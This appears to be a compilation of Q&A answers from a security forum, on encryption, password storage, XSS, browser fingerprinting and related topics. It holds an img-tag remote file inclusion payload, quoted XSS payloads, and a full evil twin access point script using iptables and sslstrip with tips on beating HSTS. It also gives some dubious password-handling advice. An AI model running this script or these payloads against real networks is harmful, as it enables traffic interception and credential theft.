Which is more effective and 'secure': Compression+Encryption, or only Encryption?

There are several factors that come into play. The first is that encryption should hide patterns: if you have a file that contains the same content repeated several times over, encryption should hide this fact. If you have a weak encryption scheme, that leaks some information about patterns in the plaintext in its ciphertexts, then compression can help reduce the amount of information that leaks through. At least, that'st the classical theory. Any encryption scheme that's good enough to be used nowadays should take care of patterns all by iself though, compression or no compression (related tip: never use ECB mode directly). So the classical argument for compression before encryption is no longer that relevant (and compression after encryption is pointless in just about every case).

Another "classical" argument is that the chances of breaking a cipher increase with the amount of ciphertext you have to work with. So if you compress your messages before sending, you give an attacker less material to work with. Again, for any cipher secure under modern notions you should not have to worry about this. You should update your algorithms and key sizes every now and then according to the latest recommendations, rotate keys etc. - but the impact of compression on this will be minimal. Also if you encrypt each message under a per-message key and then transport this key bey encrypting it under a key-encrypting-key, which is a pretty standard thing to do (especially when public-key crypto is involved), you're controlling how much ciphertext gets sent out under any one key far better than you could by fiddling with compression.

The next point is that you might want encryption to hide the length of your ciphertext to some extent too. It's not too hard to gain some "metadata" about what someone is doing on a TLS connection by observing packet lengths and frequencies. Compression before encryption can help reduce the strength of the "signal" in some cases, but if you're worried about traffic analysis then you probably should be doing other things like padding to a fixed length - again, compression can make a bad situation a bit less bad, but it's not going to turn a bad situation into a good one.

Finally, you may have heard that compression within the TLS protocol will be abolished and banned in v1.3, or at least that was the case when I last read the draft. This is not to do with compression in general but because the specific way encryption, padding, MACs and compression interacted in TLS 1.2 and earlier standards had some vulnerabilities (CRIME, BEAST etc.). That doesn't mean that you can't compress at a higher (application) level or that compression weakens encryption in general, just that it has no place in the actual encryption module, at least not in the way it's done in TLS at the moment.

EDIT

In response to comments asking further questions, here are two examples of how compression can help or hurt you.

Example 1 You're applying for a job and you agree to send your best friend an encrypted message telling you if you got it or not. Because you work in IT, a plain "yes" or "no" will not do - it has to be an animated GIF, so you prepare two files yes.gif and no.gif, and because you're worried about someone just looking at the filesize of your ciphertext you make them both exactly 64KB. But the yes.gif is full of colours and ponies and rainbows and when compressed, 60KB large - the no.gif is a more demure slow black/white animation and compresses down to 4KB. Your encryption program automatically applies compression before encryption.
In this case, compression ruins your security completely.

Example 2
You've given up on the animated GIFs and agree that next time you want to meet your friend, you'll give him an encrypted e-mail simply saying "Let's meet next [day of week]." Your encryption program encrypts in 8-character (64 bit) blocks. If your message is "Let's meet next Monday." it fits nicely into 3 blocks, if it's "Let's meet next Wednesday." that's 4 blocks. Failed again. In this case, "mentally compressing" all days into their first three letters ("Let's meet next WED.") would have saved you.

In summary - compression does not generically help or harm encryption; if you typically have to deal with messages of similar lengths but varying levels of entropy/compressability then it might well do more harm than good.

The CRIME attack works because of a set of very specific circumstances that involve compression as one ingredient, but should not be applicable to file storage.


Is there any benefit to providing multiple types of public keys?

Since encryption and signatures are distinct operations, it makes sense to have distinct keys. This really boils down to the need for distinct lifecycle management characteristics (backup or not backup, that is the question).
Supporting several types of keys theoretically allows for better interoperability: clients who know only RSA use the RSA key, while clients who don't support RSA can use ECDSA. (This is only theoretical, because in practice everybody supports RSA.)
Having several types of keys can potentially ease things if a catastrophic breakthrough occurs: if some half-mad mathematician comes up with, say, a very efficient factorization algorithm, RSA is toast, so being able to switch to something based on elliptic curves would be required. Having prepared the terrain with already deployed keys and implementations will make the transition smoother. People often talk of this as "biodiversity of algorithm", even though algorithms are not living entities, thus not relevant to biology.
In the case of RSA-2048 vs RSA-4096, my guess is that the key owner was just overenthusiastic. It makes little sense to go to 4096 bits, since 2048 bits are more than enough to defeat known and foreseeable cracking technology. It makes no sense at all to have both keys active at the same time. However, some people really love big numbers.


Is it safe to share .git folder of a public repo?

The contents of your .git repository may contain loose objects that you may not want to share (e.g. something you committed but changed your mind and deleted/amended), so there is no definite "yes, this is safe."
A better way to share git repositories offline is to create a bundle file and send that to your friend, e.g.:
git bundle create /tmp/myrepo.bundle --all

Then you can send myrepo.bundle to your friend and they can clone from it like they would from any remote:
git clone myrepo.bundle

That would be a better way to make sure that you're not sharing loose objects that aren't intended to be seen by others.


What are good password storage policies?

The more entropy in a password, the better. Make your passwords long and complex to avoid hackers brute-strength breaking your account.
Do not use the same password on two systems; if one system is compromised, your password on that system can be used to get into your account on the other system.

These two rules mean that if you want to be secure, you need to have a different complex password for each of the systems you use. To make things worse, many of the systems you have accounts on will force you to change your password regularly.

All of the above means that unless you have a photographic memory, you need some secure place, other than your brain, to store passwords.

I recommend using a password manager. They use encryption to secure all of your passwords, and you access them by using one memorized master password that can be complex, since you only need to memorize that one password rather than remembering dozens or hundreds of different changing complex passwords.

The second best option is to print out all of your passwords on paper and store it in a secure place, like your wallet. The real threat to your system accounts is someone hacking into your computer or the system/server you have an account on, not a mugger running home after taking your wallet and hacking into your accounts. Even if you worry about the losing your wallet, you can go home, grab your backup printed password list, and then quickly change all of your passwords before someone gets into your accounts.

One method I recommend that you use to increase the security of any password storage method is to memorize a secret procedure that can modify any alphanumeric string to form your actual password.

For example, I might memorize a procedure that says "capitalize last letter, append 3, and then move first letter to end'. Then if I store my Gmail password in my wallet as 'googlepassword', the actual password I would use when logging into Gmail would be 'ooglepassworD3g'. You would apply the same secret memorized procedure to all of your stored passwords. This allows your passwords to be very complex, since you no longer need to memorize the password, you only need to memorize the secret modification procedure you use.

If you need to change your password afterward, create a new unmodified password, print it out or store it, apply your method, and then use the modified password on that system.

Using this technique, even if you store you unmodified 'passwords' in an insecure location (such as in a text file or in a wallet lost to a mugger), your real passwords will still be secure.

And finally, I believe that passwords will, at some point, go away as a remote authentication method. I have great hopes that SQRL, or some other form of remote authentication, will make passwords obsolete.


How can i demonstrate remote file inclusion via get methods

If a logged-in user views a webpage (anywhere on the internet!) with the following HTML anywhere in it, then the vulnerability will be triggered. An attacker could send a link to a page containing this HTML to someone they know is logged in.

<img src="http://yourdomain.com/cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt">


Question about a "Password Space" definition

It is a mere typographic problem. The document is in ASCII text but was obviously converted from another format, probably automatically, and was poorly reviewed afterwards. All the "exponents" suffered. Let's put it right:

  Password length and alphabet size are factors in computing the
  maximum password space requirements.  Equation [2] expresses the
  relationship between S, A, and M where:

  S = password space
  A = number of alphabet symbols
  M = password length

  S = AM    [2]

  To illustrate: If passwords consisting of 4 digits using an alphabet
  of 10 digits (e.g., 0-9) are to be generated:

  S = 104

  That is, 10,000 unique 4-digit passwords could be generated.
  Likewise, to generate random 6-character passwords from an alphabet of
  26 characters (e.g., A-Z):

  S = 266

  That is 3.089 * 108 unique 6-character passwords could be generated.

Indeed, 26 raised to the power 6 is equal to 308915776.


What attack vectors does arbitrary JS on a user profile allow?

What you're describing is just XSS.
Alice and Bob both use example.com. Untrusted script is added by Alice into her profile page, and executed by Bob's browser upon visiting Alice's profile.
It doesn't matter whether example.com intendes to allow Alice to inject arbitrary script into Bob's page view, or if Alice discovers an XSS that allows her to do so, the result is identical, it's a simple stored XSS.
Don't do this, unless each site runs on its own origin (ie alice.example.com and bob.example.com) and Same Origin Policy prevents profiles from attacking each other.
Lots of sites do do this, for example Shopify, but every shop runs on a user-specified domain or subdomain.
Enumerating every type of thing an XSS can do is probably outside the scope of this site. Yes, the obvious things like request forgeries apply, but there is an ever-growing list of features that browsers support. If Alice tries to attack these features, they often require permission, but example.com may have already prompted Bob for permission for legitimate reasons, giving Alice free rein.

Is there a big blob of sensitive data stored in localstorage that Alice can steal from Bob via her profile JS?
Has Bob authorized example.com to use his webcam to take a profile photo? Maybe Alice can activate the webcam and surreptitiously record Bob.
Has Bob allowed example.com to use notifications? Alice can spam Bob with bogus notifications
Has Bob allowed the example.com to read his device's GPS? Alice knows where Bob lives.

The list is as long as the list of available browser features that example.com my have tried to make legitimate use out of.


Security implications of source code location

It's irrelevant. This is because the user is running with the permissions to access this folder, if the user gets compromised it doesn't matter in which folder the source code is stored.

Make sure you use Bitlocker to encrypt the hard drives in case the endpoint gets stolen.


Setting up a fake AP - problem with iptables and DNS server

You have different problems here. I think access point and dhcp are ok. Let's talk about iptables and sslstrip.

on sslstrip, you are using arguments -f -p -k 10000 but it makes no sense... port 10000 is default. And to set port you must use -l  so you can avoid its use. Should be sslstrip -f -p -k and that's all or you can put sslstrip -f -p -k -l 10000 which is the same.

Talking about iptables and forwarding. echo 1 > /proc/sys/net/ipv4/ip_forward is ok. The route add makes no sense. You already have internet access on eth0 (I guess), so you don't need a route for the fake ap network. Of course at0 ip must be a different network range than eth0. Put a different ip range, something like 172.16.0.0/24 for example or any other.

But the order of the rules in iptables is important. Masquerading must be done at the end. And you have a typo on ssl port. You put 1000 instead of 10000!!!! <- OP edited his question and corrected it.

The flushes are ok:

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

And then, if you have the general policy FORWARD with ACCEPT, it doesn't make sense to do FORWARD rules with -j ACCEPT like this iptables --append FORWARD --in-interface at0 -j ACCEPT. Forget rules about udp... web navigation is tcp, so this is not important: iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1. The only point of doing this is to redirect dns traffic to your own dns server... But I can't see you have a dns server on this example so makes no sense.

This should be:

iptables -P FORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

And that's all.

So the final compilation is:

#!/bin/sh
ifconfig at0 up
ifconfig at0 192.168.1.129 netmask 255.255.255.128
ifconfig at0 mtu 1400
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Anyway, I can recommend to you a script on which I'm collaborating which automatize all of this stuff and is very handy!. It has a lot of FakeAP/Evil Twin features: airgeddon. Give it a try! is a good script already included in BlackArch, Wifislax and ArchStrike repositories.

Good luck! and remember to test sslstrip you must use urls without explicitely putting https. And facebook is a bad starting point because of HSTS. Try with outlook.com it works! To avoid HSTS is more advanced, you'll need sslstrip2 (is called too sslstrip+) and you'll need a proxy+dns (another incoming feature of airgeddon which is already developed and is under testing phase, is in a development branch and maybe this week could be in master).


Is that a way break Linux user password by bypassing grub protected?

Yes, definitely.  All an attacker needs to do is boot off a live cd or usb key.  They boot into their own OS and mount your disk.


Not using a VM will leave you totally dependent on the static analysis programs and any other program (hex editor, text editors and so on) you use. This is dangerous. In my opinion, too dangerous. Like Matthew said, any bug in, say notepad++, will put your archiving machine at risk of being attacked when all you think you are doing is analyzing the file.

Considering these files are known to be malicious, I wouldn't take the risk. Not to mention the human error factor - someone accidentally running a malicious script by double clicking on a Javascript .js file for example (which most people don't know is double-click-executable like that by default on Windows).

Furthermore, a VM will be much easier to repair in case of a malicious program wreaking havoc. With snapshots you can easily undo any damages.


Decryption given the first few characters of the decrypted file

If you know the Algorithm and the Key length, we can tell you how hard it is to break the key.
For any decent encryption, the answer will be: no, you cannot decrypt the file without the key.

This is the whole point of encryption! Encryption Algorithms are designed so that they are secure if an attacker knows absolutely everything about it and the only thing he doesn't know is the key. This is called Kerckhoffs's principle


Why don't more services offer encryption for email notifications?

I think it's the lack of widespread usage. I can't think of any technical reason that your bank or any other party couldn't send automated, encrypted emails to you, simply instead I think it's that so few people use any form of encrypted email (and therefore most of the public don't have public keys) that from their point of view it's not worth considering.

Next question is obviously 'How can we provide a secure email setup for the masses, without having to teach them the (apparently too complicated) basics of GPG?'


What are the security implications of an out-of-support Java runtime?

Risk management is about making sense of a $ investment to protect from losing more money. Applet based attacks happen, but are becoming less and less common. That being said, if your organization is targetted, they may opt to use these attacks simply because they may know that you are still using this version.

Aside from that, your assessment is pretty accurate. For prioritising I personally would probably try identifying applications that are dependant on your outdated Java Runtime but run with different privileges (e.g. more elevated privileges) or are network connected. These applications would probably be more exposed and interesting to an attacker to abuse.

Also I would actively monitor if there are any vulnerabilities being published for the JRE8 in the meanwhile.


How does public/private key encryption work?

A private key and public key work in as a pair. The public key (which is specific to person A but everyone knows it [let everyone be B]) can be used to encrypt a message. B then sends the message to A. The private key for person A can then be used to decrypt the message. If A wants to send a message back to B, they will first encrypt it with B's public key, send it, then B would decrypt it using their private key.
A good analogy is here:

For example, if Bob wants to send sensitive data to Alice, and wants to be sure that only Alice may be able to read it, he will encrypt the data with Alice's Public Key. Only Alice has access to her corresponding Private Key and as a result is the only person with the capability of decrypting the encrypted data back into its original form.
As only Alice has access to her Private Key, it is possible that only Alice can decrypt the encrypted data. Even if someone else gains access to the encrypted data, it will remain confidential as they should not have access to Alice's Private Key.

EDIT: So a "public" key is known by everyone but is specific to one person.
EDIT 2: The reason a public key can't decrypt something that was previously decrypted with the same key is explained here. Basically, the whole point of encryption is to use a simple calculation to encrypt that is almost impossible to decrypt - which is what happens here.


Why do ID attributes need stricter validation?

This is not to prevent double quotes, single quotes or spaces from breaking out of the attribute context, as this is covered by "Aggressive HTML Entity Encoding".

For background, an attack like this is possible:

<body background="javascript:alert('XSS')">

For id and name, these attributes are frequently used as reference points in the DOM.

If an attacker can spoof these reference points, she may be able trick existing scripts into getting and setting values from places other than designed, which may be dangerous depending on the context that is is used.

This also applies to HTML forms where name is used to identify the name/value pair. For example, if a website does not encode a particular form field when it is output, but since the form field is server generated and the form is protected against CSRF by the use of tokens it cannot be exploited by normal means. However, an attacker may be able to entice a user to visit a URL with a parameter that is used in name, containing an XSS payload to execute on submission of the form.

e.g. Normal use:

https://example.com/product?item_name=watch&qty=1

which renders a form

<form>

<input type="hidden" name="watch" value="1" />
<input type="hidden" name="shop_name" value="Bob's Supplies" />
<input type="hidden" name="anti-csrf" value="asdjasodhoai" />

<input type="submit" value="Click here to buy" />

</form>

And then gets output as

Thank you for buying from Bob's Supplies.

However, an attacker could send a link to the user like so:

https://example.com/product?item_name=shop_name&qty=<script>alert('xss')</script>

As the application is correctly HTML encoding at this point it renders the form as

<form>

<input type="hidden" name="shop_name" value="&lt;script&gt;alert(&#039;xss&#039;)&lt;/script&gt;" />
<input type="hidden" name="shop_name" value="Bob's Supplies" />
<input type="hidden" name="anti-csrf" value="asdjasodhoai" />

<input type="submit" value="Click here to buy" />

</form>

This then gets output as

Thank you for buying from <script>alert('xss')</script>.

since this page doesn't HTML encode the shop_name parameter because it is trusted and the application framework always takes the first value in case of duplicates. Very contrived, but it was the first thing that fell into my head to demonstrate the point.


Do you really have to go to the extremes this guide says?

Anonymity isn't binary. There is a sliding scale of anonymity on the web.

How much you need to do depends on who is trying to deanonymize you, what resources they have and how much of those resources they are willing to spend on you.

Depending on whether you are considered an advertising target, a nuisance to a specific website, a copyright violator, an actual criminal or a threat to the national security of a state, you need to go to different measures to hide your identity.

That guide seems to be intended for people whose freedom and life depends on their anonymity, like whistle blowers or revolutionaries. When you just don't want Google to know what you buy on Amazon, it's overkill.

By the way, the article says so:

  Consider whether you truly need this level of protection. If having your activity discovered does not put your life or liberty at risk, then you probably do not need to go to all of this trouble.


How to make sure that only files I generated pass?

As a rule, you can't make sure only app-generated files arrive. If the user has access to the app, storage folder access is the least of your concerns -- the attacker can reverse-engineer the code to acquire any cryptographic key and any communications protocol you embed. It is generally impossible to give a person code to do something on a device they control, while preventing them from doing that exact thing themselves. The best you can do is prevent malicious content from being able to do damage; you can never actually just trust data received from a user's device.


So version control is your best friend. Git is a good solution, and it allows authors to "sign" their commits digitally with a pgp key. Using a branch->commit->merge-to-master workflow keeps the code rot down. Plus, the audit team can look at the git repository and see what happened every step of the way. I don't know how hard copy change control would fit in, seeing as you could replace it with PGP signatures (much harder to forge).


Mobile Phone Client -> Server Authentication based on device

In mobile app -> server scenario, I like to have an approach for each of the following identity

User Identity - i.e. person trying to initial transaction with your server
Application Identity - application being used by user to perform the transaction
Device Identity- the actual device being used.

Each of these are important part of the comprehensive identity management. In your case, device Identity is the focus. There are a lot of device specific information like SIM card ID, IMEI, UDID (in case of apple) that can be used to tie a specific device to a user.
An alternate approach can be that at the time of initial registration of the device, you can generate a public and private key pair on that device. You can associate the public key with the user id on your server. Now, every time you initiate the session or perform transaction, you can use the private key to sign a token (e.g. JWT) and send it with request. As part of authentication/authorization process on server, you can validate the token received and match it with authenticated user id based on saved association.

In addition to that, I am assuming, you have good process in place to handle
1. Transfer of mobile device - people sell or give their devices away and new people want to use device to run your application (with or without device wipe).
2. Multiple users - people in same family may use the same device but different user id to perform transactions.


Anonymiszing sensitive data in MySQL DB while retaining searchability

All the details of proper database information handling go well beyond the scope of a quick StackExchange answer.  You really want to do this the right way.  Part of your problem is the architecture where the database, and the web app accessing the sensitive info are on the same server.  If that server gets compromised, so does the keying material for any encryption you do.

If you are just looking for a practical fix, rather than design theory, I have two suggestions.

One one is free, and open source, but actively under development (so I have no idea how suitable it would be for your business production use).

The other is a commercial solution you could buy (suitable for business, but I don't know your budget or business needs).

Open source - cryptdb (code available on github)

Commercial - Voltage SecureData

I've used both, but without knowing more about your circumstances, I couldn't say which is right for you.  Voltage is more business-ready, and used by fortune 500 companies, cryptdb is more of a research project which may appeal to do-it-yourself types.


Encrypting string in JavaScript and decryption in Java

Is the javascript run in a browser? If so, don't try to encrypt anything at all.

Please refer to my other answer for details. Basically, if you are doing something with javascript, the connection is either a) already secure or b) will not be any more secure with anything you do within the web app.

Note that I talk about hashing there but it really applies to any kind of procedure in javascript.


How does a person under surveillance safely download tor or tails in a hostile environment?

If the problem is that severe, you don't download directly. You call up a trusted 3rd party (a friend who would not be under scrutiny) to create a LiveCD and then have them mail it to you.
A sufficiently equipped government can successfully use a root certificate in your machine and substitute the download.


Securing connection credentials on a web server

Is it a good security scheme?

Yes, it is reasonable.  Usually people don't do this because they want automated systems, and the downtime caused by needing to manually enter a password every time the app restarts is beyond what they'd consider acceptable.

  What alternatives would you propose (Python Flask, MySQL and peewee)?

Basically all the things mentioned in the question you linked to.  Personally, I'm a fan of Vault, which is a separate HTTP server that stores your secrets.  It's not at all a perfect solution: you still have to authenticate to it, which practically means you end up with a temporary session token that you store in plaintext on your server.

  Also if my idea is not that bad how can I implement that "service" to run in a background and wait for a credentials query (preferably some kind of a bash script)?

With programming?  You're probably going to want to just do this in your application code as part of its startup process.


Obfuscating "sensitive" strings in mobile client

I would like to extend Joseph Sible's comment and build upon it.

There is a rule in Information Security, called "Never trust the client!", and it holds true so far. In your case, the client is the application on the phone of the attacker. The attacker has full access to the phone, and can modify it in any way they would like. This includes, but is not limited to:

Debugging the application at runtime
Analyzing the memory of the application
Modifying the executable
Emulating a runtime for the executable to see the System Calls the application does
Analyzing the network traffic

Basically, as soon as any data is sent to the client, you have to assume that the user will find it and get access to it in some way. How do we know? Because what you are trying to replicate is some form of DRM - also known as "Digital Restrictions Management". DRM essentially aims at giving users some form of access to content, but not any form the user likes.

This has proven, time and again, to fail. In fact, the most enthusiastic and restrictive forms of DRM are those that hurt customers the most, and are those that get cracked the quickest.

You still have not answered why exactly users getting access to the internals of your application is bad, but I am going to assume that your application stores some data there that you don't want them to access, or only want to access in limited amounts.

If it's information they don't need access to, then move them onto a server and not the app. And if it's information that you want your users to have access to, then give it to them. Sooner or later, they'll take it anyways.


What's going on is that, per the article, Google has the ability to remotely tell your phone to set a new password, which applies to unlocking the phone and unlocking the encryption key.  They aren't remotely recalling your encryption key or the unencrypted data, but they are able to sidestep it because your phone will listen to mobile device mgmt instructions given by the Google Android server.

Its important to note that you are basically always trusting your phone's content to the maker (apple OR google), and if they receive a court order of high enough esteem, and they have possession of your device, they will be able to get the information out of it.  If you have reason to believe you need to protect the data on it against state-level intrusion, just make sure that it is powered off whenever not in use, since a remote password reset can't happen on a phone that isn't already up and running.  This will force them into the situation of needing to completely "break into" the phone as opposed to just remotely unlocking it.


Why must I send certificate and private key when make HTTPS requests?

You don't send the private key, your software will use the private key to prove that you are the legitimate holder of that certificate.
Metaphor: physical driver's licenses instead of certificates. Imagine you get your hands on someone else's driver's license (or a copy of it). That's ok because it's a photo ID, the person you present the driver's license to will check that you match the photo.
Certificates work the same way, except that instead of a photo, the certificate contains a public key, and you need to create a digital signature using the matching private key in order to prove that you are the legitimate holder of that certificate.

See our canonical answer:

How does SSL/TLS work?


What is "Waiting for eb2.3lift.com...."?

It's the API servers for the advertising network triplelift.com. Most likely, they are benign, but they are also useless for whatever you're trying to view. Most ad blocking extensions should block their cookies and advertisements automatically.


What function(s) to be used to generate Salt on Windows Mobile 6

RNGCryptoServiceProvider Class

net.rim.device.api.crypto.FIPS186PseudoRandomSource


Why does majority of the publicly routable IPs seem to have no rDNS assigned?

Actually, there indeed was a mistake in my methodology. I copied Hilbert code from Wikipedia, but didn't notice it was using int instead of unsigned int. After fixing that, I'm getting a completely different picture - one that makes more sense to me:

If I saw that instead, I don't think I wouldn't have asked the original question.


Does gpg --digest-algo have any effect when verifying a signature?

A signature is created by first computing a digest of the message and then using the private key to sign this digest. A signature is validated by computing the digest of the message and then validating using the public key that this is the same digest as was signed.

This means, that the same digest algorithms has to be used in creating and validating the signature and thus --digest-algo should have no effect on the signature validation.

  A message may specify a Hash header, but it is optional...

See The Hash header in GPG ASCII armor for what this header is for. In short: it is optional since it is redundant but is used to know up-front which digest algorithm is used in the message signature instead of only after reading the signature. Thus it is helpful when processing huge messages in a streaming way.


How to prevent username and password matches when changing a username?

The only sensible way to get what you want is to ask for the password when a user changes their username.  This way the server always has the information needed to conduct an accurate comparison between the username and password during a change, and prevent matches.

As sensitive operations - such as changing passwords, or in your case usernames - should require a password anyways (to limit the damage of XSS), this shouldn't be a problem.

Your only other alternative is to try every possible case combination, hash it, and compare that to the stored hash when a user changes their username.


Does SSH rekeying take place in the encrypted tunnel or outside of it

Key re-exchange is performed using whatever encryption was in effect    when the exchange was started

rfc4253

  Key Re-Exchange

  Key re-exchange is started by sending an SSH_MSG_KEXINIT packet
  when    not already doing a key exchange (as described in Section
  7.1).  When    this message is received, a party MUST respond with its own    SSH_MSG_KEXINIT message, except when the received
  SSH_MSG_KEXINIT    already was a reply.  Either party MAY initiate the
  re-exchange, but    roles MUST NOT be changed (i.e., the server
  remains the server, and    the client remains the client).

  Key re-exchange is performed using whatever encryption was in
  effect    when the exchange was started. Encryption, compression, and
  MAC    methods are not changed before a new SSH_MSG_NEWKEYS is sent
  after    the key exchange (as in the initial key exchange).
  Re-exchange is    processed identically to the initial key exchange,
  except for the    session identifier that will remain unchanged.  It
  is permissible to    change some or all of the algorithms during the
  re-exchange.  Host    keys can also change.  All keys and
  initialization vectors are    recomputed after the exchange.
  Compression and encryption contexts    are reset.

  It is RECOMMENDED that the keys be changed after each gigabyte of
  transmitted data or after each hour of connection time, whichever
  comes sooner.  However, since the re-exchange is a public key
  operation, it requires a fair amount of processing power and should
  not be performed too often.

  More application data may be sent after the SSH_MSG_NEWKEYS packet
  has been sent; key exchange does not affect the protocols that lie
  above the SSH transport layer.


How secure are the new TLDs ( .us, .io, ...) and do they compare to .com?

The security of DNS is independent of the particular name hierarchy, as typical DNS-related attacks happen at the resolver instead of at the authoritative server.  Furthermore, DNS without DNSSEC is not assumed to be secure any more than telnet is assumed to be a safe remote shell protocol. Security must be layered on elsewhere, such as in TLS.

But to answer your question: each registrar and TLD owner is responsible for his own security, and the reputation of each should reflect that. There is no prescribed security apparatus other than the built-in mechanisms through which DNS operates and the rule and regulatory framework which comprises it.


Browser fingerprinting
The issue you are describing is one technique out of many in the field of browser fingerprinting. There are three main types of browser fingerprinting, often related. In order of amount of research, they are:

Device fingerprinting, which aims to distinguish individual users. It focuses on finding unique identifiers on a browser when the IP address cannot be relied upon for identification. This is the most well-researched, with many proof-of-concepts available, and is the hardest to mitigate. In extreme cases, this can detect unique devices regardless of the operating system or browser.

Supercookies, which are persistent identifiers that a website can inject into a browser. They are not true cookies and so are not deleted when cookies are cleared. This can be implemented with clever cache fingerprinting, HTML5 web storage, HSTS or even HPKP, for example.

History sniffing, which involves one website detecting whether or not a visitor has also visited a different, unaffiliated third-party website. This is similar to supercookies, but relies on the third-party site setting one unintentionally. History sniffing techniques can be used to implement supercookies, but the opposite is not always true. This is what you are asking about.

There is also a type of fingerprinting called TCP/IP fingerprinting, also called networking stack fingerprinting or OS fingerprinting. It involves looking at the low-level structure of the networking protocols being used by your computer (what options are set and in what order, ISN and TCP sequence numbers, etc). Avoiding this requires using a "true" proxy such as Tor (VPNs do not work as they use your own networking stack). This technique is limited in the amount of information it can gather. As this is not unique to browsers, I won't go into detail about it. I suggest you look at an example TCP fingerprinting utility such as p0f to learn more about how it works and its capabilities.
Mitigations
In order to prevent a website from detecting whether or not you have visited a given website, the browser must not keep any persistent information between the time a website is visited and another website attempts to confirm the visitation. In many cases, private/incognito mode is not enough, as it only clears specific identifiers such as cookies. The most effective solution is to have an ephemeral data directory. This is the technique used by Tor Browser, which avoids, across browser restarts, the last two fingerprinting techniques, and makes attempts to limit the first through browser patches.
Using one of the numerous "privacy plugins" and custom configurations is not an effective mitigation. In many cases, they actually add to your browser fingerprint by reducing your anonymity set while not removing all, or even most, of the tracking vectors. A complete solution requires a standardized browser running a standard version, with heavy patching to remove various functionality that can be abused for fingerprinting. Tor Browser does this, but even it is not perfect and there are many open tickets for extant fingerprinting vectors, with varying levels of impact. For example, there are multiple open tickets for several different ways to identify what operating system the browser is running on.
The most effective strategy to mitigate browser fingerprinting in general would be the following:

Use an up-to-date and official version of the Tor Browser.
Set the "security slider" to high, which disables JavaScript (a common fingerprinting vector).
Do not modify any configuration settings or install any plugins.
Restart the browser to clear the fingerprint, as it can only isolate identities between sessions.

This may be necessary even if you only want to avoid history sniffing and do not care about device fingerprinting or supercookies. All other browsers, as far as I know, will keep a certain state even across resetting the profile or invoking private/incognito mode, which can then be used to detect whether or not you have visited a certain third-party site.
Real-world implications
There are various news articles and papers discussing ad networks that have been caught using various forms of browser fingerprinting to track users across sites and users who clear cookies (or browse in private mode). I am not aware of any particular incidents involving the browser cache, but most likely that is because there are other, more robust techniques to use. Ad companies typically use device fingerprinting, with canvas fingerprinting being one of the most common vectors, with more advanced and stealthy techniques such as AudioContext fingerprinting also being used.


In order to properly secure yourself from guests, you'd want the guest AP on a separate network (e.g a VLAN) and you would block access to/from the rest of your home network to the guest network.You'd want a dedicated router or firewall that can implement some form of usage caps and enforce network access controls. Unfortunately these things all carry a price tag - which can be minimized at the expense of time and effort.

I think you just have to trust your house guests. Depending on where you live you may also be able to protect yourself with some form of a written agreement with the guests.


How to check an open source product for password handling quality?

While the password requirements may help you slightly to understand how that particular system may be handling them, it is just the tip of the iceberg. It's true: Having a maximum length for a password raises some flags that something is not good. However there may be other reasons behind that (like bad documentation?).

Even if you have the perfect policies, nothing will ensure you they are not using weak algorithms or bad practices which can lead to severe security issues. The only way (IMO) is to check the code yourself. In case you don't understand their code, it's better to stick to the most active (and with more contributors) projects. It's also a good idea to check vulnerabilities reports about the project, get to know who is behind its development, ask in their forums or mailing lists and very important, how new the code is: Some OS projects are based in really old code (which could be vulnerable to new attack techniques or use deprecated algorithms), or in the other side, very new projects could pose some risks as they haven't been tested enough.

In summary, I would be more worried about the general security policies than just about how passwords are stored.

UPDATE (about Magento)

I checked their codes, and I found for example one of their Encryption interfaces.

Passwords seem to be stored using "sha256" with a fall-back on "md5" (if that setting is on). In that case, the max length of 16 chars it may be related to the GUI or other reasons (perhaps to allow custom settings and extensions).

Magento project seems to be well coded and it has a strong community. which make me assume its security is above average . Their current password hashing implementation its not the best, but its not the worst either --see comments below--, so don't trust it 100%. There is no perfect system and all OS projects are vulnerable (as attackers can see its code), but as you may know, close sourced projects are neither exempt of vulnerabilities.

I would recommend you to ask them directly why the 16-chars limitation. I'm sure they can give you a more detailed explanation.


Is it possible to clone my contactless debit card while it's in my pocket?

If your debit card has an NFC chip on it (the "tap to pay"), it's possible.  This presentation discusses two methods.  One is skimming an NFC card and using the recovered data for making Card Not Present transactions online.  The other is called a "pre-play" attack, where "future transactions" are skimmed from the card in your pocket, and used to make purchases before you use the card again.  Ironically, you might have stopped some of these if you had used your card before the attacker had the chance to commit fraud.

Because it's possible, does that mean it's likely?  Hard to say.  But if it was in fact a case of NFC skimming, then you live, work, and pray very near someone who might target you again.  Consider keeping your NFC cards in an RF-blocking wallet, or leaving them at home.  Since it sounds like you rarely use them, this shouldn't alter the convenience factor much.

The good news is that your bank protected you from losses related to the theft, and that you don't have to worry too much about it.


Software suggestions on building a "passive" and "active" WAN simulation and fuzzing device?

I once built one of these rigs for Electronic Arts to handle online-game traffic simulations to ensure the best possible user experience despite network conditions.

The free option was NIST Net from the National Institute of Standards and Technology (NIST). Based on Linux, free, complex and limited, but might be just what your looking for.

The expensive, but dammed impressive option was a Storm Appliance from Shunra, dedicated hardware with multiple network interface configurations, and was driven through visio, so you could litterally draw your network topology and then run simulations on it using data points you detemrined in advance or actually recorded traffic from the tinterweb :)

Impressive tech.


Asymmetric Encryption on User Data to Allow Unauthenticated Input

I think that your users should be authenticated for adding data into their accounts. Take into account that if somebody could polute the data just by knowing the credentials.

Another approach that you can follow is that your application only will write the user data if has been signed properly. On the creation of the account you store the public key of the user and for adding data to that account only data that has been signed with the privake key that your application can verify. Here is an example:

User generates a private and public keys.
Your application generates an account with (username, email, public key) (account1)
Some user wants to write data on account1.
Your application verifies that the data received has a signature that can be verified with the public key of account1. If this operation is true this means that the data received has been signed with the private key of account1, in any other case you reject the data.

Hope these helps you


How can an un-trusted device connected to the LAN network infect others operating systems?

there are lots of attack vectors, such as :

Sniffing admin/user passwords and exploiting systems using them
Accessing an anonymous shares and planting malware there(if they're not read-only)
Performing MitM attacks to steal data
